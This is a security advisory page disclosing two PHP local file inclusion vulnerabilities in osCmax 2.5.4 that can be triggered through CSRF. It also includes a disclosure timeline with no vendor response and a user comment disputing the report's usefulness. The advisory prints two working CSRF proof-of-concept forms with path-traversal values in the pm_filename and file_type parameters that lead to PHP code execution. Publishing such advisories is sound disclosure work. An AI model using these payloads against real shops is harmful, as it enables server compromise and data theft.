In view of COVID-19 precaution measures, we remind you that ImmuniWeb Platform allows to easily configure and safely buy online all available solutions in a few clicks.

Total Tests:
Stay in Touch

Weekly newsletter on AI, Application Security & Cybercrime

Your data will stay confidential Private and Confidential

RCE via CSRF in osCmax

Advisory ID:HTB23285
Vulnerable Versions:2.5.4 and probably prior
Tested Version:2.5.4
Advisory Publication:December 21, 2015 [without technical details]
Vendor Notification:December 21, 2015
Public Disclosure:February 17, 2016
Vulnerability Type:PHP File Inclusion [CWE-98]
CVE Reference:Pending
Risk Level:Medium
CVSSv3 Base Score:5.8 [CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:L]
CVSSv3 Calculator
Discovered and Provided:High-Tech Bridge Security Research Lab

Advisory Details:

High-Tech Bridge Security Research Lab discovered 2 PHP Local File Inclusion vulnerabilities in osCmax, a popular web-based e-commerce application and shopping cart. The vulnerabilities can be exploited to execute arbitrary PHP code on the target system.

Successful exploitation of these vulnerabilities requires attacker to have access to the administrator panel. However, both vulnerabilities can also be exploited by remote non-authenticated attacker via CSRF attack vector to which the application is also vulnerable.

1) Remote Code Execution via PHP File Inclusion in osCmax

1.1 The vulnerability exists due to insufficient filtration of "pm_filename" HTTP POST parameter in "/admin/page_modules_configuration.php" PHP script. A remote authenticated attacker can use path traversal sequences (e.g. "../../") to included and execute a PHP file from arbitrary location on the local file system.

A simple CSRF exploit below can be used to store in the application database path to "/tmp/file" file (or any other file with malicious PHP code):

<form action="http://[host]/admin/page_modules_configuration.php?page=1&action =insert" method="post" name="main">
<input type="hidden" name="pm_title" value="vulnerable">
<input type="hidden" name="pm_filename" value="../../../../../../../../../../../tmp/file">
<input type="hidden" name="pm_page" value="all">
<input type="hidden" name="pm_cg_hide" value="">
<input type="hidden" name="pm_sort_order" value="">
<input type="hidden" name="x" value="38">
<input type="hidden" name="y" value="17">
<input value="submit" id="btn" type="submit" />

The code from the "/tmp/file" file will be executed once the victim visits the following URL: http://[host]/index.php

1.2 The second vulnerability exists due to insufficient filtration of "file_type" HTTP POST parameter in "/admin/batch_print.php" script. A remote authenticated attacker can use path traversal to load and execute a PHP file from arbitrary location on the local filesystem.

A simple CSRF exploit below can be used to execute PHP code from "/tmp/file" file:

<form action="http://[host]/admin/batch_print.php?act=1" method="post" name ="main">
<input type="hidden" name="file_type" value="../../../../../../../../../../tmp/file">
<input value="submit" id="btn" type="submit" />

The malicious PHP code will be executed on the server once the victim visits the page with above-mentioned CSRF exploit.

How to Detect PHP File Inclusion Vulnerabilities
Free Website Security Test
  • Non-intrusive GDPR Test
  • Non-intrusive PCI DSS Test
Try Free Test
ImmuniWeb® On-Demand
  • Complete GDPR Audit
  • Complete PCI DSS Audit
  • Remediation Guidelines
  • DevSecOps Integration
Learn More

Disclosure timeline:
2015-12-21 Vendor notified via emails, no reply.
2016-01-06 Vendor notified via emails and forum, no reply.
2016-01-13 Fix Requested via emails, no reply.
2016-01-19 Fix Requested via emails, no reply.
2016-01-20 Fix Requested via emails, no reply.
2016-02-17 Public disclosure.

Currently we are not aware of any official solution for this vulnerability.

[1] High-Tech Bridge Advisory HTB23285 - - RCE via CSRF in osCmax
[2] osCmax - - osCmax is a powerful e-commerce/shopping cart web application. osCmax has all the features needed to run a successful internet store and can be customized to whatever configuration you need.
[3] Common Weakness Enumeration (CWE) - - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[4] ImmuniWeb® - Leveraging the power of machine-learning and genius of human brain to deliver the most advanced web application security and penetration testing.
[5] ImmuniWeb® SSLScan - Test your servers for security and compliance with PCI DSS, HIPAA and NIST.
User Comments
Add Comment
1 responses to "RCE via CSRF in osCmax"
user logo
PG 2016-07-16 20:52:33 UTC Comment this
These types of reports are pretty useless - any sane person who has
followed the basic setup instructions has 1) renamed Admin and 2) got
.htaccess enabled on the admin folder thereby rendering your
"vunerability" nul and void ... please stop posting these useless warnings -
they do not help anyone.
↑ Back to Top

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
How it Works Ask a Question